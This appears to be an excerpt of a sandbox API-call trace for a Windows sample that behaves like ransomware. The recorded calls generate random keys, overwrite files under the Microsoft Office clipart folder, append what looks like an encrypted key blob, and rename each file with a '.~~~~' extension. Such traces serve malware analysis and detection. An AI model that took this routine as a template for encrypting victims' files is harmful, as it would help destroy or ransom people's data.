	[0091.776] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.776] CloseHandle (hObject=0x138) returned 1
	[0091.776] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1908
	[0091.776] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.~~~~")) returned 1
	[0091.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.777] GetLastError () returned 0x0
	[0091.777] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x28d8568) returned 1
	[0091.778] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0091.778] CryptReleaseContext (hProv=0x28d8568, dwFlags=0x0) returned 1
	[0091.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0091.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.778] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21176799000) returned 1
	[0091.778] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa07acb10, dwHighDateTime=0x1d60e1e)) 
	[0091.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0091.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387258
	[0091.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387258 | out: hHeap=0x300000) returned 1
	[0091.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1908
	[0091.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3889f8
	[0091.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.778] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0091.779] GetLastError () returned 0x0
	[0091.779] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0091.779] GetLastError () returned 0x0
	[0091.818] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff438, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.818] WriteFile (in: hFile=0x138, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0xbc8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0xbc8, lpOverlapped=0x0) returned 1
	[0091.819] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.821] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.821] WriteFile (in: hFile=0x138, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.821] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.821] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.821] CloseHandle (hObject=0x138) returned 1
	[0091.843] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d0e88
	[0091.843] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.~~~~")) returned 1
	[0091.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0e88 | out: hHeap=0x300000) returned 1
	[0091.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.874] GetLastError () returned 0x0
	[0091.994] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0092.013] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.013] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0092.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0092.013] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21200302841) returned 1
	[0092.013] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa09e7fb0, dwHighDateTime=0x1d60e1e)) 
	[0092.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0092.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0092.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0092.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3876b8
	[0092.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3876b8 | out: hHeap=0x300000) returned 1
	[0092.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.013] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x389bc8
	[0092.014] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.014] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0092.014] GetLastError () returned 0x0
	[0092.014] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0092.014] GetLastError () returned 0x0
	[0092.023] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffff9e0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.024] WriteFile (in: hFile=0x134, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x620, lpOverlapped=0x0) returned 1
	[0092.024] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0092.024] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.024] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.024] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.024] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.024] CloseHandle (hObject=0x134) returned 1
	[0092.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.025] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf.~~~~")) returned 1
	[0092.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0092.025] GetLastError () returned 0x0
	[0092.026] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0092.027] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.027] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0092.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0092.027] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21202996061) returned 1
	[0092.045] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa0a34270, dwHighDateTime=0x1d60e1e)) 
	[0092.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0092.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0092.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0092.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3878e8
	[0092.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3878e8 | out: hHeap=0x300000) returned 1
	[0092.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdd78
	[0092.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0092.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdd78 | out: hHeap=0x300000) returned 1
	[0092.205] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38a088
	[0092.205] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.205] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0092.205] GetLastError () returned 0x0
	[0092.205] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0092.205] GetLastError () returned 0x0
	[0092.207] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffff97ae, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.207] WriteFile (in: hFile=0x134, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x6852, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x6852, lpOverlapped=0x0) returned 1
	[0092.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0092.208] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.208] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.208] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.208] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.208] CloseHandle (hObject=0x134) returned 1
	[0092.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da600
	[0092.209] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.~~~~")) returned 1
	[0092.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0092.209] GetLastError () returned 0x0
	[0092.210] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0092.211] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.211] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0092.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0092.212] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21220170705) returned 1
	[0092.212] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa0bb1030, dwHighDateTime=0x1d60e1e)) 
	[0092.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0092.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0092.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0092.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387920
	[0092.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387920 | out: hHeap=0x300000) returned 1
	[0092.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdd78
	[0092.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0092.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdd78 | out: hHeap=0x300000) returned 1
	[0092.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x389d90
	[0092.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.212] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0092.212] GetLastError () returned 0x0
	[0092.213] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0092.213] GetLastError () returned 0x0
	[0092.215] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffa4fc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.215] WriteFile (in: hFile=0x134, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x5b04, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x5b04, lpOverlapped=0x0) returned 1
	[0092.216] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0092.216] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.216] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.216] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.216] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.216] CloseHandle (hObject=0x134) returned 1
	[0092.216] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da600
	[0092.216] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf.~~~~")) returned 1
	[0092.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0092.217] GetLastError () returned 0x0
	[0092.218] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0092.219] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.219] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0092.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0092.220] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21220969388) returned 1
	[0092.220] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa0bb1030, dwHighDateTime=0x1d60e1e)) 
	[0092.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0092.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0092.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0092.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x387958
	[0092.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x387958 | out: hHeap=0x300000) returned 1
	[0092.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fdd78
	[0092.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0092.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdd78 | out: hHeap=0x300000) returned 1
	[0092.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38a1b8
	[0092.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0092.220] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0092.220] GetLastError () returned 0x0
	[0092.221] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0092.221] GetLastError () returned 0x0
	[0092.226] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffa99c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.226] WriteFile (in: hFile=0x134, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x5664, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x5664, lpOverlapped=0x0) returned 1
	[0092.226] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0092.226] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.226] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.227] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
